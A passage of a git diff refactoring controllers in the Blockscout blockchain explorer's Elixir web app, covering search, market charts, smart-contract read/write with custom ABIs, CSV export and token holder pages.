{:invalid, :number}} -> + not_found(conn) + + {:error, :not_found} -> + conn + |> put_status(:not_found) + |> render( + BlockTransactionView, + "404.html", + block: nil, + block_above_tip: block_above_tip(formatted_block_hash_or_number) + ) + end + end + + def index(conn, %{"block_hash_or_number" => formatted_block_hash_or_number}) do + case param_block_hash_or_number_to_block(formatted_block_hash_or_number, + necessity_by_association: %{ + [miner: :names] => :required, + :uncles => :optional, + :nephews => :optional, + :rewards => :optional + } + ) do + {:ok, block} -> + block_transaction_count = Chain.block_to_transaction_count(block.hash) + + render( + conn, + "index.html", + block: block, + block_transaction_count: block_transaction_count, + current_path: Controller.current_full_path(conn) + ) + + {:error, {:invalid, :hash}} -> + not_found(conn) + + {:error, {:invalid, :number}} -> + not_found(conn) + + {:error, :not_found} -> + conn + |> put_status(:not_found) + |> render( + BlockTransactionView, + "404.html", + block: nil, + block_above_tip: block_above_tip(formatted_block_hash_or_number) + ) + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/chain/market_history_chart_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/chain/market_history_chart_controller.ex index 238f858769f7..51cb05fb3e10 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/chain/market_history_chart_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/chain/market_history_chart_controller.ex @@ -2,51 +2,68 @@ defmodule BlockScoutWeb.Chain.MarketHistoryChartController do use BlockScoutWeb, :controller alias Explorer.{Chain, Market} - alias Explorer.ExchangeRates.Token def show(conn, _params) do if ajax?(conn) do - exchange_rate = Market.get_exchange_rate(Explorer.coin()) || Token.null() + exchange_rate = Market.get_coin_exchange_rate() recent_market_history = Market.fetch_recent_history() + current_total_supply = available_supply(Chain.supply_for_days(), exchange_rate) - market_history_data = + price_history_data = case recent_market_history do [today | the_rest] -> - encode_market_history_data([%{today | closing_price: exchange_rate.usd_value} | the_rest]) + [%{today | closing_price: exchange_rate.fiat_value} | the_rest] data -> - encode_market_history_data(data) + data end + market_history_data = encode_market_history_data(price_history_data, current_total_supply) + json(conn, %{ - history_data: market_history_data, - supply_data: available_supply(Chain.supply_for_days(), exchange_rate) + history_data: market_history_data }) else unprocessable_entity(conn) end end - defp available_supply(:ok, exchange_rate) do - to_string(exchange_rate.available_supply || 0) - end + def available_supply(:ok, exchange_rate), do: exchange_rate.available_supply || 0 - defp available_supply({:ok, supply_for_days}, _exchange_rate) do + def available_supply({:ok, supply_for_days}, _exchange_rate) do supply_for_days |> Jason.encode() |> case do - {:ok, data} -> data - _ -> [] + {:ok, _data} -> + current_date = + supply_for_days + |> Map.keys() + |> Enum.max(Date) + + Map.get(supply_for_days, current_date) + + _ -> + nil end end - defp encode_market_history_data(market_history_data) do + def encode_market_history_data(market_history_data, current_total_supply) when is_binary(current_total_supply) do + encode_market_history_data(market_history_data, Decimal.new(current_total_supply)) + end + + def encode_market_history_data(market_history_data, current_total_supply) do market_history_data - |> Enum.map(fn day -> Map.take(day, [:closing_price, :date]) end) + |> Enum.map(fn day -> + market_cap = if day.market_cap, do: day.market_cap, else: Decimal.mult(current_total_supply, day.closing_price) + + day + |> Map.put(:market_cap, market_cap) + |> Map.take([:closing_price, :market_cap, :tvl, :date]) + end) |> Jason.encode() |> case do - {:ok, data} -> data + {:ok, data} -> Jason.decode!(data) _ -> [] end end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/chain/transaction_history_chart_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/chain/transaction_history_chart_controller.ex index a52a6dd750e0..dec6f4f90ee3 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/chain/transaction_history_chart_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/chain/transaction_history_chart_controller.ex @@ -5,7 +5,7 @@ defmodule BlockScoutWeb.Chain.TransactionHistoryChartController do def show(conn, _params) do if ajax?(conn) do - [{:history_size, history_size}] = Application.get_env(:block_scout_web, __MODULE__, 30) + [{:history_size, history_size}] = Application.get_env(:block_scout_web, __MODULE__, [{:history_size, 30}]) today = Date.utc_today() latest = Date.add(today, -1) diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/chain_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/chain_controller.ex index 6d112bdc45da..bb274bbb3f3e 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/chain_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/chain_controller.ex @@ -3,24 +3,21 @@ defmodule BlockScoutWeb.ChainController do import BlockScoutWeb.Chain, only: [paging_options: 1] + alias BlockScoutWeb.API.V2.Helper alias BlockScoutWeb.{ChainView, Controller} alias Explorer.{Chain, PagingOptions, Repo} - alias Explorer.Chain.{Address, Block, Transaction} - alias Explorer.Chain.Cache.Block, as: BlockCache - alias Explorer.Chain.Cache.GasUsage - alias Explorer.Chain.Cache.Transaction, as: TransactionCache + alias Explorer.Chain.{Address, Block, Hash, Transaction} + alias Explorer.Chain.Cache.Counters.{AddressesCount, AverageBlockTime, BlocksCount, GasUsageSum, TransactionsCount} + alias Explorer.Chain.Search alias Explorer.Chain.Supply.RSK - alias Explorer.Chain.Transaction.History.TransactionStats - alias Explorer.Counters.AverageBlockTime - alias Explorer.ExchangeRates.Token alias Explorer.Market alias Phoenix.View def show(conn, _params) do - transaction_estimated_count = TransactionCache.estimated_count() - total_gas_usage = GasUsage.total() - block_count = BlockCache.estimated_count() - address_count = Chain.address_estimated_count() + transactions_count = TransactionsCount.get() + total_gas_usage = GasUsageSum.total() + block_count = BlocksCount.get() + address_count = AddressesCount.fetch() market_cap_calculation = case Application.get_env(:explorer, :supply) do @@ -31,16 +28,16 @@ defmodule BlockScoutWeb.ChainController do :standard end - exchange_rate = Market.get_exchange_rate(Explorer.coin()) || Token.null() + exchange_rate = Market.get_coin_exchange_rate() - transaction_stats = get_transaction_stats() + transaction_stats = Helper.get_transaction_stats() chart_data_paths = %{ market: market_history_chart_path(conn, :show), transaction: transaction_history_chart_path(conn, :show) } - chart_config = Application.get_env(:block_scout_web, :chart_config, %{}) + chart_config = Application.get_env(:block_scout_web, :chart)[:chart_config] render( conn, @@ -52,7 +49,7 @@ defmodule BlockScoutWeb.ChainController do chart_config_json: Jason.encode!(chart_config), chart_data_paths: chart_data_paths, market_cap_calculation: market_cap_calculation, - transaction_estimated_count: transaction_estimated_count, + transaction_estimated_count: transactions_count, total_gas_usage: total_gas_usage, transactions_path: recent_transactions_path(conn, :index), transaction_stats: transaction_stats, @@ -61,43 +58,24 @@ defmodule BlockScoutWeb.ChainController do ) end - def get_transaction_stats do - stats_scale = date_range(1) - transaction_stats = TransactionStats.by_date_range(stats_scale.earliest, stats_scale.latest) - - # Need datapoint for legend if none currently available. - if Enum.empty?(transaction_stats) do - [%{number_of_transactions: 0, gas_used: 0}] - else - transaction_stats - end - end - - def date_range(num_days) do - today = Date.utc_today() - latest = Date.add(today, -1) - x_days_back = Date.add(latest, -1 * (num_days - 1)) - %{earliest: x_days_back, latest: latest} - end - def search(conn, %{"q" => ""}) do show(conn, []) end def search(conn, %{"q" => query}) do + search_path = + conn + |> search_path(:search_results, q: query) + |> Controller.full_path() + query |> String.trim() |> BlockScoutWeb.Chain.from_param() |> case do {:ok, item} -> - redirect_search_results(conn, item) + redirect_search_results(conn, item, search_path) {:error, :not_found} -> - search_path = - conn - |> search_path(:search_results, q: query) - |> Controller.full_path() - redirect(conn, to: search_path) end end @@ -106,22 +84,21 @@ defmodule BlockScoutWeb.ChainController do def token_autocomplete(conn, %{"q" => term} = params) when is_binary(term) do [paging_options: paging_options] = paging_options(params) - offset = (max(paging_options.page_number, 1) - 1) * paging_options.page_size - results = + {results, _} = paging_options - |> search_by(offset, term) + |> Search.joint_search(term) encoded_results = results |> Enum.map(fn item -> - tx_hash_bytes = Map.get(item, :tx_hash) + transaction_hash_bytes = Map.get(item, :transaction_hash) block_hash_bytes = Map.get(item, :block_hash) item = - if tx_hash_bytes do + if transaction_hash_bytes do item - |> Map.replace(:tx_hash, "0x" <> Base.encode16(tx_hash_bytes, case: :lower)) + |> Map.replace(:transaction_hash, full_hash_string(transaction_hash_bytes)) else item end @@ -129,7 +106,7 @@ defmodule BlockScoutWeb.ChainController do item = if block_hash_bytes do item - |> Map.replace(:block_hash, "0x" <> Base.encode16(block_hash_bytes, case: :lower)) + |> Map.replace(:block_hash, full_hash_string(block_hash_bytes)) else item end @@ -144,10 +121,6 @@ defmodule BlockScoutWeb.ChainController do json(conn, "{}") end - def search_by(paging_options, offset, term) do - Chain.joint_search(paging_options, offset, term) - end - def chain_blocks(conn, _params) do if ajax?(conn) do blocks = @@ -172,7 +145,7 @@ defmodule BlockScoutWeb.ChainController do end end - defp redirect_search_results(conn, %Address{} = item) do + defp redirect_search_results(conn, %Address{} = item, _search_path) do address_path = conn |> address_path(:show, item) @@ -181,7 +154,7 @@ defmodule BlockScoutWeb.ChainController do redirect(conn, to: address_path) end - defp redirect_search_results(conn, %Block{} = item) do + defp redirect_search_results(conn, %Block{} = item, _search_path) do block_path = conn |> block_path(:show, item) @@ -190,7 +163,7 @@ defmodule BlockScoutWeb.ChainController do redirect(conn, to: block_path) end - defp redirect_search_results(conn, %Transaction{} = item) do + defp redirect_search_results(conn, %Transaction{} = item, _search_path) do transaction_path = conn |> transaction_path(:show, item) @@ -198,4 +171,15 @@ defmodule BlockScoutWeb.ChainController do redirect(conn, to: transaction_path) end + + defp redirect_search_results(conn, _item, search_path) do + redirect(conn, to: search_path) + end + + defp full_hash_string(%Hash{} = hash), do: to_string(hash) + + defp full_hash_string(bytes) when is_binary(bytes) do + {:ok, hash} = Hash.Full.cast(bytes) + to_string(hash) + end end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/csv_export_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/csv_export_controller.ex index 8cab1d24058b..aa04ec19dad2 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/csv_export_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/csv_export_controller.ex @@ -1,15 +1,23 @@ defmodule BlockScoutWeb.CsvExportController do use BlockScoutWeb, :controller - alias BlockScoutWeb.AccessHelpers + alias BlockScoutWeb.AccessHelper alias Explorer.Chain + alias Explorer.Chain.Address def index(conn, %{"address" => address_hash_string, "type" => type} = params) do with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), - :ok <- Chain.check_address_exists(address_hash), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params), - true <- supported_export_type(type) do - render(conn, "index.html", address_hash_string: address_hash_string, type: type) + :ok <- Address.check_address_exists(address_hash), + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params), + true <- supported_export_type(type), + filter_type <- Map.get(params, "filter_type"), + filter_value <- Map.get(params, "filter_value") do + render(conn, "index.html", + address_hash_string: address_hash_string, + type: type, + filter_type: filter_type && String.downcase(filter_type), + filter_value: filter_value && String.downcase(filter_value) + ) else _ -> not_found(conn) diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/pagination_helpers.ex b/apps/block_scout_web/lib/block_scout_web/controllers/pagination_helpers.ex deleted file mode 100644 index e5ad7838bdf3..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/controllers/pagination_helpers.ex +++ /dev/null @@ -1,20 +0,0 @@ -defmodule BlockScoutWeb.PaginationHelpers do - @moduledoc """ - Common pagination logic helpers. - """ - - def current_page_number(params) do - cond do - !params["prev_page_number"] -> 1 - params["next_page"] -> String.to_integer(params["prev_page_number"]) + 1 - params["prev_page"] -> String.to_integer(params["prev_page_number"]) - 1 - end - end - - def add_navigation_params(params, current_page_path, current_page_number) do - params - |> Map.put("prev_page_path", current_page_path) - |> Map.put("next_page", true) - |> Map.put("prev_page_number", current_page_number) - end -end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/pending_transaction_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/pending_transaction_controller.ex index 55fe550745bb..f709855b000a 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/pending_transaction_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/pending_transaction_controller.ex @@ -2,12 +2,13 @@ defmodule BlockScoutWeb.PendingTransactionController do use BlockScoutWeb, :controller import BlockScoutWeb.Chain, only: [paging_options: 1, next_page_params: 3, split_list_by_page: 1] + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] alias BlockScoutWeb.{Controller, TransactionView} alias Explorer.Chain alias Phoenix.View - {:ok, burn_address_hash} = Chain.string_to_address_hash("0x0000000000000000000000000000000000000000") + {:ok, burn_address_hash} = Chain.string_to_address_hash(burn_address_hash_string()) @burn_address_hash burn_address_hash def index(conn, %{"type" => "JSON"} = params) do @@ -63,7 +64,7 @@ defmodule BlockScoutWeb.PendingTransactionController do end defp get_pending_transactions_and_next_page(options) do - transactions_plus_one = Chain.recent_pending_transactions(options) + transactions_plus_one = Chain.recent_pending_transactions(options, true) split_list_by_page(transactions_plus_one) end end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/recent_transactions_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/recent_transactions_controller.ex index 714c9e351d20..0863579eab95 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/recent_transactions_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/recent_transactions_controller.ex @@ -1,27 +1,34 @@ defmodule BlockScoutWeb.RecentTransactionsController do use BlockScoutWeb, :controller + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] + alias Explorer.{Chain, PagingOptions} - alias Explorer.Chain.Hash + alias Explorer.Chain.{DenormalizationHelper, Hash} alias Phoenix.View - {:ok, burn_address_hash} = Chain.string_to_address_hash("0x0000000000000000000000000000000000000000") + {:ok, burn_address_hash} = Chain.string_to_address_hash(burn_address_hash_string()) @burn_address_hash burn_address_hash def index(conn, _params) do if ajax?(conn) do recent_transactions = Chain.recent_collated_transactions( - necessity_by_association: %{ - :block => :required, - [created_contract_address: :names] => :optional, - [from_address: :names] => :optional, - [to_address: :names] => :optional, - [created_contract_address: :smart_contract] => :optional, - [from_address: :smart_contract] => :optional, - [to_address: :smart_contract] => :optional - }, - paging_options: %PagingOptions{page_size: 5} + true, + DenormalizationHelper.extend_block_necessity( + [ + necessity_by_association: %{ + [created_contract_address: :names] => :optional, + [from_address: :names] => :optional, + [to_address: :names] => :optional, + [created_contract_address: :smart_contract] => :optional, + [from_address: :smart_contract] => :optional, + [to_address: :smart_contract] => :optional + }, + paging_options: %PagingOptions{page_size: 5} + ], + :required + ) ) transactions = diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/robots_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/robots_controller.ex new file mode 100644 index 000000000000..a482fb1a73c7 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/robots_controller.ex @@ -0,0 +1,13 @@ +defmodule BlockScoutWeb.RobotsController do + use BlockScoutWeb, :controller + + def robots(conn, _params) do + conn + |> render("robots.txt") + end + + def sitemap(conn, _params) do + conn + |> render("sitemap.xml") + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/search_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/search_controller.ex index 3e470f20bbb3..c8292be760f6 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/search_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/search_controller.ex @@ -1,23 +1,19 @@ defmodule BlockScoutWeb.SearchController do use BlockScoutWeb, :controller - import BlockScoutWeb.Chain, only: [paging_options: 1, next_page_params: 3, split_list_by_page: 1] - - alias BlockScoutWeb.{ChainController, Controller, SearchView} + alias BlockScoutWeb.{Controller, SearchView} + alias Explorer.Chain.Search alias Phoenix.View def search_results(conn, %{"q" => query, "type" => "JSON"} = params) do - [paging_options: paging_options] = paging_options(params) - offset = (max(paging_options.page_number, 1) - 1) * paging_options.page_size + [paging_options: paging_options] = Search.parse_paging_options(params) - search_results_plus_one = + {search_results, next_page_params} = paging_options - |> ChainController.search_by(offset, query) - - {search_results, next_page} = split_list_by_page(search_results_plus_one) + |> Search.joint_search(query) next_page_url = - case next_page_params(next_page, search_results, params) do + case next_page_params do nil -> nil diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/smart_contract_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/smart_contract_controller.ex index c0a64d8d4391..9a53ddd1e952 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/smart_contract_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/smart_contract_controller.ex @@ -1,43 +1,45 @@ defmodule BlockScoutWeb.SmartContractController do use BlockScoutWeb, :controller + alias BlockScoutWeb.{AccessHelper, AddressView} alias Explorer.Chain + alias Explorer.Chain.{Address, SmartContract} + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation alias Explorer.SmartContract.{Reader, Writer} - @burn_address "0x0000000000000000000000000000000000000000" + import Explorer.Helper, only: [parse_boolean: 1] + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] - def index(conn, %{"hash" => address_hash_string, "type" => contract_type, "action" => action}) do + def index(conn, %{"hash" => address_hash_string, "type" => contract_type, "action" => action} = params) do address_options = [ necessity_by_association: %{ :smart_contract => :optional - } + }, + ip: AccessHelper.conn_to_ip_string(conn) ] - with true <- ajax?(conn), + is_custom_abi = parse_boolean(params["is_custom_abi"]) + + with {:contract_interaction_disabled, false} <- + {:contract_interaction_disabled, write_contract_api_disabled?(action)}, + true <- ajax?(conn), + {:custom_abi, false} <- {:custom_abi, is_custom_abi}, {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), - {:ok, address} <- Chain.find_contract_address(address_hash, address_options, true) do - implementation_address_hash_string = - if contract_type == "proxy" do - address.hash - |> Chain.get_implementation_address_hash(address.smart_contract.abi) - |> Tuple.to_list() - |> List.first() || @burn_address - else - @burn_address - end + {:ok, address} <- Chain.find_contract_address(address_hash, address_options) do + implementation_address_hash_string = implementation_address_hash(contract_type, address) functions = if action == "write" do if contract_type == "proxy" do Writer.write_functions_proxy(implementation_address_hash_string) else - Writer.write_functions(address_hash) + Writer.write_functions(address.smart_contract) end else if contract_type == "proxy" do - Reader.read_only_functions_proxy(address_hash, implementation_address_hash_string) + Reader.read_only_functions_proxy(address_hash, implementation_address_hash_string, nil) else - Reader.read_only_functions(address_hash) + Reader.read_only_functions(address.smart_contract, address_hash, params["from"]) end end @@ -46,7 +48,7 @@ defmodule BlockScoutWeb.SmartContractController do if contract_type == "proxy" do Reader.read_functions_required_wallet_proxy(implementation_address_hash_string) else - Reader.read_functions_required_wallet(address_hash) + Reader.read_functions_required_wallet(address.smart_contract) end else [] @@ -57,7 +59,7 @@ defmodule BlockScoutWeb.SmartContractController do implementation_abi = if contract_type == "proxy" do implementation_address_hash_string - |> Chain.get_implementation_abi() + |> SmartContract.get_abi() |> Poison.encode!() else [] @@ -78,9 +80,15 @@ defmodule BlockScoutWeb.SmartContractController do action: action ) else + {:custom_abi, true} -> + custom_abi_render(conn, params) + :error -> unprocessable_entity(conn) + {:contract_interaction_disabled, true} -> + not_found(conn) + {:error, :not_found} -> not_found(conn) @@ -91,42 +99,107 @@ defmodule BlockScoutWeb.SmartContractController do def index(conn, _), do: not_found(conn) + defp implementation_address_hash(contract_type, address) do + if contract_type == "proxy" do + implementation = Implementation.get_implementation(address.smart_contract) + (implementation && implementation.address_hashes |> List.first()) || burn_address_hash_string() + else + burn_address_hash_string() + end + end + + defp custom_abi_render(conn, %{"hash" => address_hash_string, "type" => contract_type, "action" => action} = params) do + with custom_abi <- AddressView.fetch_custom_abi(conn, address_hash_string), + false <- is_nil(custom_abi), + abi <- custom_abi.abi, + {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string) do + functions = + if action == "write" do + Writer.filter_write_functions(abi) + else + Reader.read_only_functions_from_abi_with_sender(abi, address_hash, params["from"]) + end + + read_functions_required_wallet = + if action == "read" do + Reader.read_functions_required_wallet_from_abi(abi) + else + [] + end + + contract_abi = Poison.encode!(abi) + + conn + |> put_status(200) + |> put_layout(false) + |> render( + "_functions.html", + read_functions_required_wallet: read_functions_required_wallet, + read_only_functions: functions, + address: %{hash: address_hash}, + custom_abi: true, + contract_abi: contract_abi, + implementation_address: burn_address_hash_string(), + implementation_abi: [], + contract_type: contract_type, + action: action + ) + else + :error -> + unprocessable_entity(conn) + + _ -> + not_found(conn) + end + end + def show(conn, params) do address_options = [ necessity_by_association: %{ - :contracts_creation_internal_transaction => :optional, :names => :optional, :smart_contract => :optional, :token => :optional, - :contracts_creation_transaction => :optional - } + Address.contract_creation_transaction_associations() => :optional + }, + ip: AccessHelper.conn_to_ip_string(conn) ] + custom_abi = + if parse_boolean(params["is_custom_abi"]), do: AddressView.fetch_custom_abi(conn, params["id"]), else: nil + with true <- ajax?(conn), {:ok, address_hash} <- Chain.string_to_address_hash(params["id"]), - {:ok, _address} <- Chain.find_contract_address(address_hash, address_options, true) do + {:ok, address} <- Chain.find_contract_address(address_hash, address_options) do contract_type = if params["type"] == "proxy", do: :proxy, else: :regular - {args_count, _} = Integer.parse(params["args_count"]) - args = - if args_count < 1, - do: [], - else: for(x <- 0..(args_count - 1), do: params["arg_" <> to_string(x)] |> convert_map_to_array()) + if is_nil(params["args_count"]) do + # we should convert: %{"0" => _, "1" => _} to [_, _] + params["args"] |> convert_map_to_array() + else + {args_count, _} = Integer.parse(params["args_count"]) + + if args_count < 1, + do: [], + else: for(x <- 0..(args_count - 1), do: params["arg_" <> to_string(x)] |> convert_map_to_array()) + end %{output: outputs, names: names} = - if params["from"] do - Reader.query_function_with_names( + if custom_abi do + Reader.query_function_with_names_custom_abi( address_hash, %{method_id: params["method_id"], args: args}, - contract_type, - params["from"] + params["from"], + custom_abi.abi ) else Reader.query_function_with_names( address_hash, %{method_id: params["method_id"], args: args}, - contract_type + contract_type, + params["from"], + address.smart_contract && address.smart_contract.abi, + true ) end @@ -145,7 +218,7 @@ defmodule BlockScoutWeb.SmartContractController do :error -> unprocessable_entity(conn) - :not_found -> + {:error, :not_found} -> not_found(conn) _ -> @@ -154,7 +227,7 @@ defmodule BlockScoutWeb.SmartContractController do end defp convert_map_to_array(map) do - if is_turned_out_array?(map) do + if turned_out_array?(map) do map |> Map.values() |> try_to_map_elements() else try_to_map_elements(map) @@ -169,11 +242,11 @@ defmodule BlockScoutWeb.SmartContractController do end end - defp is_turned_out_array?(map) when is_map(map), do: Enum.all?(Map.keys(map), &is_integer?/1) + defp turned_out_array?(map) when is_map(map), do: Enum.all?(Map.keys(map), &integer?/1) - defp is_turned_out_array?(_), do: false + defp turned_out_array?(_), do: false - defp is_integer?(string) when is_binary(string) do + defp integer?(string) when is_binary(string) do case string |> String.trim() |> Integer.parse() do {_, ""} -> true @@ -183,7 +256,9 @@ defmodule BlockScoutWeb.SmartContractController do end end - defp is_integer?(integer) when is_integer(integer), do: true + defp integer?(integer) when is_integer(integer), do: true + + defp integer?(_), do: false - defp is_integer?(_), do: false + defp write_contract_api_disabled?(action), do: AddressView.contract_interaction_disabled?() && action == "write" end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/tokens/contract_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/tokens/contract_controller.ex index e16d9bf4707d..1e9828a4735d 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/tokens/contract_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/tokens/contract_controller.ex @@ -1,29 +1,32 @@ defmodule BlockScoutWeb.Tokens.ContractController do use BlockScoutWeb, :controller - alias BlockScoutWeb.{AccessHelpers, TabHelpers} - alias Explorer.{Chain, Market} - alias Explorer.Chain.Address + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2] + + alias BlockScoutWeb.{AccessHelper, TabHelper} + alias Explorer.Chain + alias Explorer.Chain.{Address, SmartContract} def index(conn, %{"token_id" => address_hash_string} = params) do options = [necessity_by_association: %{[contract_address: :smart_contract] => :optional}] with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), - :ok <- Chain.check_verified_smart_contract_exists(address_hash), + :ok <- SmartContract.check_verified_smart_contract_exists(address_hash), {:ok, token} <- Chain.token_from_address_hash(address_hash, options), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do %{type: type, action: action} = cond do - TabHelpers.tab_active?("read-contract", conn.request_path) -> + TabHelper.tab_active?("read-contract", conn.request_path) -> %{type: :regular, action: :read} - TabHelpers.tab_active?("write-contract", conn.request_path) -> + TabHelper.tab_active?("write-contract", conn.request_path) -> %{type: :regular, action: :write} - TabHelpers.tab_active?("read-proxy", conn.request_path) -> + TabHelper.tab_active?("read-proxy", conn.request_path) -> %{type: :proxy, action: :read} - TabHelpers.tab_active?("write-proxy", conn.request_path) -> + TabHelper.tab_active?("write-proxy", conn.request_path) -> %{type: :proxy, action: :write} end @@ -32,8 +35,9 @@ defmodule BlockScoutWeb.Tokens.ContractController do "index.html", type: type, action: action, - token: Market.add_price(token), - counters_path: token_path(conn, :token_counters, %{"id" => Address.checksum(address_hash)}) + token: token, + counters_path: token_path(conn, :token_counters, %{"id" => Address.checksum(address_hash)}), + tags: get_address_tags(address_hash, current_user(conn)) ) else {:restricted_access, _} -> diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/tokens/holder_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/tokens/holder_controller.ex index 806badc1958e..6e65b36521a1 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/tokens/holder_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/tokens/holder_controller.ex @@ -1,10 +1,14 @@ defmodule BlockScoutWeb.Tokens.HolderController do use BlockScoutWeb, :controller - alias BlockScoutWeb.{AccessHelpers, Controller} + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2] + + alias BlockScoutWeb.{AccessHelper, Controller} alias BlockScoutWeb.Tokens.HolderView - alias Explorer.{Chain, Market} + alias Explorer.Chain alias Explorer.Chain.Address + alias Indexer.Fetcher.OnDemand.TokenTotalSupply, as: TokenTotalSupplyOnDemand alias Phoenix.View import BlockScoutWeb.Chain, @@ -15,12 +19,10 @@ defmodule BlockScoutWeb.Tokens.HolderController do ] def index(conn, %{"token_id" => address_hash_string, "type" => "JSON"} = params) do - from_api = false - with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), {:ok, token} <- Chain.token_from_address_hash(address_hash), - token_balances <- Chain.fetch_token_holders_from_token_hash(address_hash, from_api, paging_options(params)), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + token_balances <- Chain.fetch_token_holders_from_token_hash(address_hash, paging_options(params)), + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do {token_balances_paginated, next_page} = split_list_by_page(token_balances) next_page_path = @@ -57,16 +59,19 @@ defmodule BlockScoutWeb.Tokens.HolderController do def index(conn, %{"token_id" => address_hash_string} = params) do options = [necessity_by_association: %{[contract_address: :smart_contract] => :optional}] + ip = AccessHelper.conn_to_ip_string(conn) with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), {:ok, token} <- Chain.token_from_address_hash(address_hash, options), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do render( conn, "index.html", current_path: Controller.current_full_path(conn), - token: Market.add_price(token), - counters_path: token_path(conn, :token_counters, %{"id" => Address.checksum(address_hash)}) + token: token, + counters_path: token_path(conn, :token_counters, %{"id" => Address.checksum(address_hash)}), + token_total_supply_status: TokenTotalSupplyOnDemand.trigger_fetch(ip, address_hash), + tags: get_address_tags(address_hash, current_user(conn)) ) else {:restricted_access, _} -> diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/tokens/instance/helper.ex b/apps/block_scout_web/lib/block_scout_web/controllers/tokens/instance/helper.ex new file mode 100644 index 000000000000..eb1c542679a1 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/tokens/instance/helper.ex @@ -0,0 +1,21 @@ +defmodule BlockScoutWeb.Tokens.Instance.Helper do + @moduledoc """ + Token instance controllers common helper + """ + + use BlockScoutWeb, :controller + + alias BlockScoutWeb.Controller + alias Explorer.Chain + + def render(conn, token_instance, hash, token_id, token) do + render( + conn, + "index.html", + token_instance: %{instance: token_instance, token_id: Decimal.new(token_id)}, + current_path: Controller.current_full_path(conn), + token: token, + total_token_transfers: Chain.count_token_transfers_from_token_hash_and_token_id(hash, token_id) + ) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/tokens/instance/holder_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/tokens/instance/holder_controller.ex index 3ee291f43b45..e23f27835d4c 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/tokens/instance/holder_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/tokens/instance/holder_controller.ex @@ -1,17 +1,20 @@ defmodule BlockScoutWeb.Tokens.Instance.HolderController do use BlockScoutWeb, :controller - alias BlockScoutWeb.Controller alias BlockScoutWeb.Tokens.HolderView - alias Explorer.{Chain, Market} + alias BlockScoutWeb.Tokens.Instance.Helper + alias Explorer.Chain alias Explorer.Chain.Address + alias Explorer.Chain.Token.Instance alias Phoenix.View import BlockScoutWeb.Chain, only: [split_list_by_page: 1, paging_options: 1, next_page_params: 3] - def index(conn, %{"token_id" => token_address_hash, "instance_id" => token_id, "type" => "JSON"} = params) do + def index(conn, %{"token_id" => token_address_hash, "instance_id" => token_id_string, "type" => "JSON"} = params) do with {:ok, 